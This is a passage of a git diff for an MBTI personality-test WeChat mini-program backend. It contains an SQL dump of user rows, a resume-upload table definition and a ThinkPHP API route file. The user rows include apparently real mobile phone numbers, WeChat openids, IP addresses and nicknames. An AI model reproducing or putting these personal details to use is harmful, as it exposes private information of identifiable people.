'TAODhksGkILOe+ZS5GpJ4w==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772428029, '119.84.150.113', NULL, 1772428029, 1772428029, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (8, 'oucCB16Y_fH9Iw-cPIiKib7Q0gVk', NULL, 'aZkoI0tiaI2XXLAAjwNbUg==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772593719, '124.220.124.244', NULL, 1772432954, 1772593719, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (9, 'oucCB1_sptMQ_vqSc6RhSOlseE0Y', NULL, '2DfWem3RagjzG8x0iPZjXg==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772432999, '101.34.86.201', NULL, 1772432955, 1772432999, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (10, 'oucCB11HD-1l-YS391Ksx0p6DKeQ', NULL, 'jIxvJ2dBwKgDpM7etmgXtw==', NULL, 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a5027b019460.49988894.png', NULL, 0, NULL, NULL, NULL, 1, 1772432992, '119.84.150.101', NULL, 1772432961, 1772432992, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (11, 'oucCB1-b0mGsNG_EP9XxmXmmfmls', NULL, '4mx3aYCq5PwfBclj1iwntw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772433827, '119.84.150.113', NULL, 1772433827, 1772433827, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (12, 'oucCB17fP8tjK8p6L10kYtM_u-zM', NULL, 'N/fuTTQvjPFsdjZMEwTyZA==', '爱赛车的阿猫', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf356ec8f3.31976760.jpg', '13779954946', 0, NULL, NULL, NULL, 1, 1773217705, '222.76.193.38', NULL, 1772534377, 1773229546, 14, 14, 0); +INSERT INTO `mbti_wechat_users` VALUES (13, 'oucCB10Xq40i5Kz3D0byaA3LXGsU', NULL, '6he+DL8PwR7KwRdLzufbeQ==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772587863, '124.221.213.176', NULL, 1772587863, 1772587863, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (14, 'oucCB1zoVf5jzHeA5YNtouDhO1Uw', NULL, '6QwjTxDBJhjm02TdFBMIwA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772609271, '101.34.86.201', NULL, 1772587866, 1772609271, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (15, 'oucCB1-cPFRxWwZLU1Rt8Jl3yqkM', NULL, '1o+Ieuce2AYUP4MSFV9oYA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772587871, '119.84.150.102', NULL, 1772587871, 1772587871, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (16, 'oucCB14MiTaXm3IAh_eKDkui42aY', NULL, '1XfGYR4ZXEOueNgH8NZ2xQ==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772588221, '124.221.213.176', NULL, 1772588221, 1772588221, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (17, 'oucCB1zfI9ZC4rtyS9kpgq1TFv7s', NULL, '90xVsk1deW6kNtxtswQReA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772588229, '119.84.150.115', NULL, 1772588229, 1772588229, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (18, 'oucCB19sPEfQMkcHuath9liaVp4o', NULL, '6qIZC+5eTgLm+d3Iriwi8g==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772589192, '119.84.150.113', NULL, 1772589192, 1772589192, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (19, 'oucCB10X6rrCC6QPeIpQk4u3mhLk', NULL, 'JBzoreuWsEYjPlQpjpdMbA==', NULL, NULL, '18924071446', 0, NULL, NULL, NULL, 1, 1772593719, '124.221.213.176', NULL, 1772593719, 1772593735, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (20, 'oucCB1zOYr5nheN_OuCZf1EbS6BI', NULL, '3Da5VazXw2AkCUv00ZdgeA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772593727, '119.84.150.100', NULL, 1772593727, 1772593727, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (21, 'oucCB19_JfV_1PnXxL_GOgwPDZ5w', NULL, '1KIxerwbaejMl3/htXoMFw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772610153, '119.84.150.101', NULL, 1772594436, 1772610153, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (22, 'oucCB11X7Hn-4gn8Q10sykL9aHUw', NULL, 'IUG7/aDWL16UJT0fnEIcEw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772609270, '124.221.213.176', NULL, 1772609270, 1772609270, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (23, 'oucCB17O20KVCvLqkpVYTs8oGaJQ', NULL, 'UySPIMyFc4M3cnSSvbX0eA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772609278, '119.84.150.115', NULL, 1772609278, 1772609278, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (24, 'oucCB181zBrbwJwnqN11V2rSeS7E', NULL, 'ZkTEV1H6s08LXlLvfSdXIQ==', '#卡若🔥(4:00起床的男人)', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14e40ae20b9.53607517.jpg', '15880802661', 0, NULL, NULL, NULL, 1, 1773231282, '222.76.193.38', NULL, 1773061047, 1773231282, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (25, 'oucCB18Dwy5wOVuFSAloFg4b1bl8', NULL, 'OE5HKcEnqpsVIh4Vk47qJA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773066331, '175.24.88.249', NULL, 1773066331, 1773066331, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (26, 'oucCB15WDKCdwfNo-fpyS72iY5IQ', NULL, '3Z7XoZZOuXsFCAeOM2ZaaQ==', NULL, NULL, '13110806007', 0, NULL, NULL, NULL, 1, 1773137368, '222.76.193.38', NULL, 1773133041, 1773137368, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (27, 'oucCB1-K4ri1DGRVesilwXqw1Qxk', NULL, 'fMuJbnjzGigkFBxdpUVQBw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773217886, '27.149.120.53', NULL, 1773217886, 1773217886, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (28, 'oucCB1-bQ7huEfCauj_MQOjnGuEs', NULL, 'cTImYWuAznp8D4BiOOWRRw==', NULL, NULL, '13411334222', 0, NULL, NULL, NULL, 1, 1773219235, '223.104.71.240', NULL, 1773217917, 1773219235, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (29, 'oucCB135WoglJJE6CSo4lETLk1OE', NULL, '5UlxDaBGnSdwXbcNswv97w==', NULL, NULL, '15860758013', 0, NULL, NULL, NULL, 1, 1773219510, '223.104.48.225', NULL, 1773218797, 1773219510, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (30, 'oucCB1_8mgBxu2fIQKLfwU62vl8I', NULL, 'NTRPgwfEBLWSZNPROn032Q==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773219121, '223.104.71.248', NULL, 1773219121, 1773219121, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (31, 'oucCB11VN18Rxc80sAUdag1aGkPY', NULL, 'Waz1oii3uwp9ZAQgVklbqA==', NULL, NULL, '18659005777', 0, NULL, NULL, NULL, 1, 1773219310, '117.30.58.90', NULL, 1773219310, 1773219346, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (32, 'oucCB1335FBVeJvdMbS6FpwBKKvI', NULL, 'NqIxNIOgr7bpuuAPwusL1g==', NULL, NULL, '15805958716', 0, NULL, NULL, NULL, 1, 1773222524, '110.84.204.164', NULL, 1773222524, 1773222574, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (33, 'oucCB1wHXJDd6Sl82PZsxcn3V1h8', NULL, 'Oula89tgjDUXcMetIaBhog==', NULL, NULL, '18850346418', 0, NULL, NULL, NULL, 1, 1773228674, '112.48.34.30', NULL, 1773227436, 1773228674, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (34, 'oucCB1zbypvt8QNEexA_EiouHkaU', NULL, 'h1Fh+tvT1GcOSxXyIzZiuA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773229125, '222.76.193.38', NULL, 1773227693, 1773229125, 3, 3, 0); +INSERT INTO `mbti_wechat_users` VALUES (35, 'oucCB18qWRguSU_LK5EP1V_FqdLk', NULL, 'LgIWb7H3E+5ZJ6mWHy9A5A==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773228752, '117.28.9.96', NULL, 1773227750, 1773228752, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (36, 'oucCB1yCpTUcX2CPZteunMUKEFvE', NULL, 'zIPfx44UMAi1ALBK5yrLPg==', NULL, NULL, '18850326353', 0, NULL, NULL, NULL, 1, 1773229479, '27.154.11.72', NULL, 1773229479, 1773229513, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (37, 'oucCB134llW9EoR6OtP1AM50LBOM', NULL, 'SGc5dSebmvp+TtpdOOwNdw==', NULL, NULL, '17395813556', 0, NULL, NULL, NULL, 1, 1773229676, '120.32.220.217', NULL, 1773229676, 1773229701, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (38, 'oucCB18frhXQcLlU2hUJ1c7ooL3g', NULL, '3IwAZ9hCFqdInbu3OoYfBg==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773231619, '116.29.89.143', NULL, 1773231619, 1773231619, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (39, 'oucCB1y6atjlKTz619OUmRKBDO30', NULL, '+BmcKqoenVTFUGy4rh/fOw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773287158, '124.220.124.244', NULL, 1773287158, 1773287158, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (40, 'oucCB12uNbF9uKd67yXASAHWn_bQ', NULL, 'QrbbWtXwVDMjMQj68ua8nA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773287165, '119.84.150.102', NULL, 1773287165, 1773287165, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (41, 'oucCB167FI5QToi3SGSwil9BcCtM', NULL, 'H3V1Dh4xUYuSY64D4hULuA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773290278, '119.84.150.103', NULL, 1773290278, 1773290278, 0, 0, 0); + +-- ---------------------------- +-- Table structure for mbti_enterprise_resume_uploads +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_enterprise_resume_uploads`; +CREATE TABLE `mbti_enterprise_resume_uploads` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `userId` int(11) NOT NULL COMMENT '用户ID(wechat_users.id)', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID,可选', + `fileUrl` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '文件访问URL', + `fileName` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '原始文件名', + `is_default` tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否默认简历:1是 0否,同用户同企业仅一条为1', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '企业版简历上传记录表' ROW_FORMAT = Dynamic; + +-- 若表已存在且无 is_default 列,请执行: +-- ALTER TABLE mbti_enterprise_resume_uploads ADD COLUMN is_default tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否默认简历:1是 0否' AFTER fileName; + +SET FOREIGN_KEY_CHECKS = 1; diff --git a/api/route/api.php b/api/route/api.php new file mode 100644 index 0000000..13393ad --- /dev/null +++ b/api/route/api.php @@ -0,0 +1,382 @@ +middleware(['cors', 'auth']); + +// 前端公开API路由(不需要认证) +Route::group('api', function () { + // 用户认证相关 + Route::post('auth/login', 'api.Auth/login'); + Route::post('auth/register', 'api.Auth/register'); + Route::post('auth/refresh', 'api.Auth/refresh'); + // 微信小程序登录 + Route::post('auth/wechat', 'api.Auth/wechatLogin'); +})->middleware('cors'); + +// 小程序/前端运行配置与面相分析(可选 token) +Route::group('api', function () { + Route::get('config/runtime', 'api.AppConfig/runtime'); + Route::get('config/deep-pricing', 'api.AppConfig/deepPricing'); + Route::post('analyze', 'api.Analyze/index'); +})->middleware('cors'); + +// 前端需要认证的API路由 +Route::group('api', function () { + // 用户信息 + Route::get('auth/me', 'api.Auth/me'); + Route::post('auth/logout', 'api.Auth/logout'); + // 小程序扫码企业邀请后绑定企业 + Route::post('enterprise/bind', 'api.Auth/wechatBindEnterprise'); + // 企业版简历上传记录(具体路径放前面,避免被 POST resume-uploads 吞掉) + Route::get('enterprise/resume-uploads', 'api.EnterpriseResume/list'); + Route::post('enterprise/resume-uploads/set-default', 'api.EnterpriseResume/setDefault'); + Route::post('enterprise/resume-uploads/delete', 'api.EnterpriseResume/delete'); + Route::post('enterprise/resume-uploads', 'api.EnterpriseResume/add'); + // 小程序用户更新资料 + Route::put('auth/wechat/profile', 'api.Auth/updateWechatProfile'); + // 小程序用户上传图片(头像等) + Route::post('upload/image', 'api.Upload/image'); + // 小程序用户上传文件(候选人简历等) + Route::post('upload/file', 'api.Upload/file'); + // 当前用户测试历史记录(小程序「测试历史」页) + Route::get('test/history', 'api.Test/history'); + // 当前用户各类型最新一条记录(小程序「我的」页) + Route::get('test/recent', 'api.Test/recent'); + // 单条测试详情 + Route::get('test/detail', 'api.Test/detail'); + // 提交测试结果(MBTI/DISC/PDP 等) + Route::post('test/submit', 'api.Test/submit'); + // 简历综合分析(基于人脸/MBTI/PDP/DISC 最近一次结果) + Route::post('resume/analyze', 'api.Analyze/resumeAnalysis'); + // 支付与订单 + Route::post('payment/create', 'api.Payment/create'); + Route::post('payment/notify', 'api.Payment/notify'); + Route::get('payment/query', 'api.Payment/query'); + // 分销 + Route::post('distribution/bind', 'api.Distribution/bind'); + Route::get('distribution/stats', 'api.Distribution/stats'); + Route::get('distribution/bindings', 'api.Distribution/bindings'); + Route::get('distribution/commissions', 'api.Distribution/commissions'); + Route::post('distribution/withdraw', 'api.Distribution/withdraw'); + Route::get('distribution/withdrawals', 'api.Distribution/withdrawals'); + Route::post('distribution/withdrawals/query-transfer', 'api.Distribution/queryTransfer'); + Route::get('distribution/qrcode', 'api.Distribution/qrcode'); + Route::get('distribution/poster', 'api.Distribution/poster'); + // 微信商家转账结果回调(无需登录,但需配置到微信商户平台) + Route::post('wechat/transfer/notify', 'api.WechatTransferNotify/notify')->middleware('cors'); + // 存客宝获客线索上报 + Route::post('crm/report', 'api.CrmReport/report'); +})->middleware(['cors', 'auth']); + +// ==================== 小程序API路由(匹配前端 /api 路径)==================== +// 小程序公开API路由(不需要认证)- 与前端共用上面 api 组,此处可不再重复 +// 小程序需要认证的API路由 - 与前端共用上面 api 组 + +// ==================== 普通管理员API路由(匹配前端 /api/v1/admin 路径)==================== +// 普通管理员认证路由(不需要认证) +Route::group('api/v1/admin', function () { + // 普通管理员登录 + Route::post('auth/login', 'admin.Auth/adminLogin'); + // 刷新Token + Route::post('auth/refresh', 'admin.Auth/refresh'); +})->middleware('cors'); + +// 普通管理员路由(需要认证) +Route::group('api/v1/admin', function () { + // 管理员认证 + Route::get('auth/me', 'admin.Auth/me'); + Route::post('auth/logout', 'admin.Auth/logout'); + + // 仪表盘统计 + Route::get('dashboard', 'admin.Dashboard/index'); + + // 邀请二维码 + Route::get('invite/qrcode', 'admin.Invite/qrcode'); + + // 通用上传 + Route::post('upload/image', 'admin.Upload/image'); + + // 测试用户(小程序用户,只读列表与详情) + Route::get('app-users/:id', 'admin.AppUser/detail'); + Route::get('app-users', 'admin.AppUser/index'); + // 订单列表(含用户与关联测试数据) + Route::get('orders', 'admin.Order/index'); + // 用户管理(普通管理员和企业管理员,后台账号) + Route::get('users', 'admin.User/index'); + Route::get('users/:id', 'admin.User/detail'); + Route::post('users', 'admin.User/create'); + Route::put('users/:id', 'admin.User/update'); + Route::delete('users/:id', 'admin.User/delete'); + Route::put('users/:id/status', 'admin.User/toggleStatus'); + + // 题库管理(企业管理员和普通管理员) + Route::get('questions/:id', 'admin.Question/detail'); + Route::get('questions', 'admin.Question/index'); + Route::post('questions', 'admin.Question/create'); + Route::put('questions/:id', 'admin.Question/update'); + Route::delete('questions/:id', 'admin.Question/delete'); + Route::put('questions/:id/status', 'admin.Question/toggleStatus'); + Route::post('questions/batch-import', 'admin.Question/batchImport'); + + // 定价管理(普通管理员) + Route::get('pricing', 'admin.Pricing/index'); + Route::put('pricing', 'admin.Pricing/update'); + + // 系统设置(普通管理员,子路径放前面避免被 settings 吞掉) + Route::get('settings/miniprogram', 'admin.Settings/getMiniprogramConfig'); + Route::put('settings/miniprogram', 'admin.Settings/updateMiniprogramConfig'); + Route::get('settings/poster', 'admin.Settings/getPosterConfig'); + Route::put('settings/poster', 'admin.Settings/updatePosterConfig'); + Route::get('settings/fonts', 'admin.Settings/getFonts'); + Route::put('settings/credentials', 'admin.Settings/updateCredentials'); + Route::get('settings', 'admin.Settings/index'); + + // 分销管理(企业管理员) + Route::get('distribution/overview', 'admin.Distribution/overview'); + Route::get('distribution/distributors', 'admin.Distribution/distributors'); + Route::get('distribution/bindings', 'admin.Distribution/bindings'); + Route::get('distribution/commissions', 'admin.Distribution/commissions'); + Route::get('distribution/withdrawals', 'admin.Distribution/withdrawals'); + Route::post('distribution/withdrawals/:id/approve', 'admin.Distribution/approveWithdrawal'); + Route::post('distribution/withdrawals/:id/reject', 'admin.Distribution/rejectWithdrawal'); + Route::get('distribution/settings', 'admin.Distribution/settings'); + Route::put('distribution/settings', 'admin.Distribution/updateSettings'); + + // 企业财务(企业管理员) + Route::get('finance/overview', 'admin.Finance/overview'); + Route::get('finance/records', 'admin.Finance/records'); + Route::post('finance/recharge-qrcode', 'admin.Finance/rechargeQrcode'); + Route::post('finance/recharge', 'admin.Finance/rechargeQrcode'); +})->middleware(['cors', 'auth']); + +// ==================== 超级管理员API路由(匹配前端 /api/v1/superadmin 路径)==================== +// 超级管理员认证路由(不需要认证) +Route::group('api/v1/superadmin', function () { + // 超级管理员登录 + Route::post('auth/login', 'superadmin.Auth/login'); + // 刷新Token + Route::post('auth/refresh', 'superadmin.Auth/refresh'); +})->middleware('cors'); + +// 超级管理员路由(需要认证) +Route::group('api/v1/superadmin', function () { + // 超级管理员认证 + Route::get('auth/me', 'superadmin.Auth/me'); + Route::post('auth/logout', 'superadmin.Auth/logout'); + + // 企业管理(超管专用) + // 注意:带参数的路由要放在不带参数的路由之前,避免路由匹配冲突 + Route::get('enterprises/:id/detail', 'superadmin.Enterprise/detail'); // 详细详情接口 + Route::get('enterprises/:id', 'superadmin.Enterprise/detail'); + Route::get('enterprises', 'superadmin.Enterprise/index'); + Route::post('enterprises', 'superadmin.Enterprise/create'); + Route::put('enterprises/:id', 'superadmin.Enterprise/update'); + Route::delete('enterprises/:id', 'superadmin.Enterprise/delete'); + Route::put('enterprises/:id/status', 'superadmin.Enterprise/toggleStatus'); + + // 题库管理(超管专用,管理超管题库) + Route::get('questions/:id', 'superadmin.Question/detail'); + Route::get('questions', 'superadmin.Question/index'); + Route::post('questions', 'superadmin.Question/create'); + Route::put('questions/:id', 'superadmin.Question/update'); + Route::delete('questions/:id', 'superadmin.Question/delete'); + Route::put('questions/:id/status', 'superadmin.Question/toggleStatus'); + Route::post('questions/batch-import', 'superadmin.Question/batchImport'); + + // 全局定价管理(超管专用) + Route::get('pricing', 'superadmin.Pricing/index'); + Route::put('pricing', 'superadmin.Pricing/update'); + Route::post('pricing/batch-update', 'superadmin.Pricing/batchUpdate'); + + // AI服务商配置管理(超管专用) + Route::get('ai-config', 'superadmin.AiConfig/index'); + Route::put('ai-config', 'superadmin.AiConfig/update'); + Route::post('ai-config/batch-update', 'superadmin.AiConfig/batchUpdate'); + Route::post('ai-config/query-balance', 'superadmin.AiConfig/queryBalance'); + Route::post('ai-config/query-all-balances', 'superadmin.AiConfig/queryAllBalances'); + + // 数据库管理(超管专用) + Route::get('database/info', 'superadmin.Database/info'); + Route::get('database/tables', 'superadmin.Database/tables'); + Route::get('database/view-table', 'superadmin.Database/viewTable'); + Route::post('database/export-table', 'superadmin.Database/exportTable'); + Route::post('database/clear-table', 'superadmin.Database/clearTable'); + Route::post('database/backup', 'superadmin.Database/backup'); + Route::get('database/backups', 'superadmin.Database/backups'); + Route::delete('database/backups/:id', 'superadmin.Database/delete'); + Route::post('database/backups/delete', 'superadmin.Database/delete'); + Route::get('database/download', 'superadmin.Database/download'); + Route::post('database/restore', 'superadmin.Database/restore'); + + // 通用上传(超管) + Route::post('upload/image', 'admin.Upload/image'); + + // 系统设置(超管专用,子路径放前面避免被 settings 吞掉) + Route::get('settings/fonts', 'superadmin.Settings/getFonts'); + Route::get('settings/poster', 'superadmin.Settings/getPosterConfig'); + Route::put('settings/poster', 'superadmin.Settings/updatePosterConfig'); + Route::get('settings', 'superadmin.Settings/index'); + Route::put('settings/system', 'superadmin.Settings/updateSystem'); + Route::put('settings/report-requires-payment', 'superadmin.Settings/updateReportRequiresPayment'); + Route::put('settings/notification', 'superadmin.Settings/updateNotification'); + Route::put('settings/prompts', 'superadmin.Settings/updatePrompts'); + Route::put('settings/credentials', 'superadmin.Settings/updateCredentials'); + + // 测试用户(超管专用) + Route::get('app-users/overview', 'superadmin.AppUser/overview'); + Route::get('app-users/:id', 'superadmin.AppUser/detail'); + Route::get('app-users', 'superadmin.AppUser/index'); + + // 数据概览(超管专用,子路径放前面避免被 overview 吞掉) + Route::get('overview/recent-dynamics', 'superadmin.Overview/recentDynamics'); + Route::get('overview/enterprise-ranking', 'superadmin.Overview/enterpriseRanking'); + Route::get('overview/test-trends', 'superadmin.Overview/testTrends'); + Route::get('overview', 'superadmin.Overview/index'); + + // 财务管理(超管专用) + Route::get('finance/overview', 'superadmin.Finance/overview'); + Route::get('finance/revenue-details', 'superadmin.Finance/revenueDetails'); + Route::get('finance/cost-details', 'superadmin.Finance/costDetails'); + Route::get('finance/recharge-records', 'superadmin.Finance/rechargeRecords'); + Route::get('finance/payment-records', 'superadmin.Finance/paymentRecords'); + Route::post('finance/export', 'superadmin.Finance/export'); + // 分销管理(超管专用 - 个人版全平台视图) + Route::get('distribution/overview', 'superadmin.Distribution/overview'); + Route::get('distribution/bindings', 'superadmin.Distribution/bindings'); + Route::get('distribution/commissions', 'superadmin.Distribution/commissions'); + Route::get('distribution/withdrawals', 'superadmin.Distribution/withdrawals'); + Route::post('distribution/withdrawals/:id/approve', 'superadmin.Distribution/approveWithdrawal'); + Route::post('distribution/withdrawals/:id/reject', 'superadmin.Distribution/rejectWithdrawal'); + Route::get('distribution/settings', 'superadmin.Distribution/settings'); + Route::put('distribution/settings', 'superadmin.Distribution/updateSettings'); +})->middleware(['cors', 'auth', 'superadmin']); + +// ==================== 兼容旧版路由(保留,逐步废弃)==================== +// 管理后台认证路由(不需要认证)- 兼容旧版 +Route::group('api/v1', function () { + // 管理员登录(兼容旧版) + Route::post('auth/admin/login', 'admin.Auth/adminLogin'); + // 超级管理员登录(兼容旧版) + Route::post('auth/superadmin/login', 'superadmin.Auth/login'); + // 刷新Token(兼容旧版) + Route::post('auth/refresh', 'admin.Auth/refresh'); +})->middleware('cors'); + +// 管理后台路由(需要认证)- 兼容旧版 +Route::group('api/v1', function () { + // 管理员认证(兼容旧版) + Route::get('auth/me', 'admin.Auth/me'); + Route::post('auth/logout', 'admin.Auth/logout'); + + // 仪表盘统计(兼容旧版) + Route::get('dashboard', 'admin.Dashboard/index'); + + // 通用上传(兼容旧版) + Route::post('upload/image', 'admin.Upload/image'); + + // 用户管理(兼容旧版) + Route::get('users', 'admin.User/index'); + Route::get('users/:id', 'admin.User/detail'); + Route::post('users', 'admin.User/create'); + Route::put('users/:id', 'admin.User/update'); + Route::delete('users/:id', 'admin.User/delete'); + Route::put('users/:id/status', 'admin.User/toggleStatus'); + + // 企业管理(超管,兼容旧版) + // 注意:带参数的路由要放在不带参数的路由之前,避免路由匹配冲突 + Route::get('enterprises/:id/detail', 'superadmin.Enterprise/detail'); // 详细详情接口 + Route::get('enterprises/:id', 'superadmin.Enterprise/detail'); + Route::get('enterprises', 'superadmin.Enterprise/index'); + Route::post('enterprises', 'superadmin.Enterprise/create'); + Route::put('enterprises/:id', 'superadmin.Enterprise/update'); + Route::delete('enterprises/:id', 'superadmin.Enterprise/delete'); + Route::put('enterprises/:id/status', 'superadmin.Enterprise/toggleStatus'); + + // 题库管理(兼容旧版) + Route::get('questions/:id', 'admin.Question/detail'); + Route::get('questions', 'admin.Question/index'); + Route::post('questions', 'admin.Question/create'); + Route::put('questions/:id', 'admin.Question/update'); + Route::delete('questions/:id', 'admin.Question/delete'); + Route::put('questions/:id/status', 'admin.Question/toggleStatus'); + Route::post('questions/batch-import', 'admin.Question/batchImport'); + + // 企业财务(兼容旧版) + Route::get('finance/overview', 'admin.Finance/overview'); + Route::get('finance/records', 'admin.Finance/records'); + Route::post('finance/recharge-qrcode', 'admin.Finance/rechargeQrcode'); + Route::post('finance/recharge', 'admin.Finance/rechargeQrcode'); +})->middleware(['cors', 'auth']); + +// ==================== 兼容旧版路由(保留)==================== +// 后台管理认证路由(不需要认证)- 兼容旧版 +Route::group('api/admin', function () { + // 管理员登录 + Route::post('auth/login', 'admin.Auth/login'); + Route::post('auth/refresh', 'admin.Auth/refresh'); +})->middleware('cors'); + +// 后台管理路由(需要认证)- 兼容旧版 +Route::group('api/admin', function () { + // 管理员认证 + Route::get('auth/me', 'admin.Auth/me'); + Route::post('auth/logout', 'admin.Auth/logout'); + + // 仪表盘统计 + Route::get('dashboard', 'admin.Dashboard/index'); + + // 通用上传 + Route::post('upload/image', 'admin.Upload/image'); + + // 用户管理 + Route::get('users', 'admin.User/index'); + Route::get('users/:id', 'admin.User/detail'); + Route::post('users', 'admin.User/create'); + Route::put('users/:id', 'admin.User/update'); + Route::delete('users/:id', 'admin.User/delete'); + Route::put('users/:id/status', 'admin.User/toggleStatus'); + + // 企业财务 + Route::get('finance/overview', 'admin.Finance/overview'); + Route::get('finance/records', 'admin.Finance/records'); + Route::post('finance/recharge-qrcode', 'admin.Finance/rechargeQrcode'); + Route::post('finance/recharge', 'admin.Finance/rechargeQrcode'); +})->middleware(['cors', 'auth']); + +// ==================== 兼容旧版路由(保留)==================== +// 后台管理认证路由(不需要认证)- 兼容旧版 +Route::group('api/admin', function () { + // 管理员登录 + Route::post('auth/login', 'admin.Auth/login'); + Route::post('auth/refresh', 'admin.Auth/refresh'); +})->middleware('cors'); + +// 后台管理路由(需要认证)- 兼容旧版 +Route::group('api/admin', function () { + // 管理员认证 + Route::get('auth/me', 'admin.Auth/me'); + Route::post('auth/logout', 'admin.Auth/logout'); + + // 仪表盘统计 + Route::get('dashboard', 'admin.Dashboard/index'); + + // 通用上传 + Route::post('upload/image', 'admin.Upload/image'); + + // 用户管理 + Route::get('users', 'admin.User/index'); + Route::get('users/:id', 'admin.User/detail'); + Route::post('users', 'admin.User/create'); + Route::put('users/:id', 'admin.User/update'); + Route::delete('users/:id', 'admin.User/delete'); + Route::put('users/:id/status', 'admin.User/toggleStatus'); + + // 企业财务 + Route::get('finance/overview', 'admin.Finance/overview'); + Route::get('finance/records', 'admin.Finance/records'); + Route::post('finance/recharge-qrcode', 'admin.Finance/rechargeQrcode'); + Route::post('finance/recharge', 'admin.Finance/rechargeQrcode'); +})->middleware(['cors', 'auth']);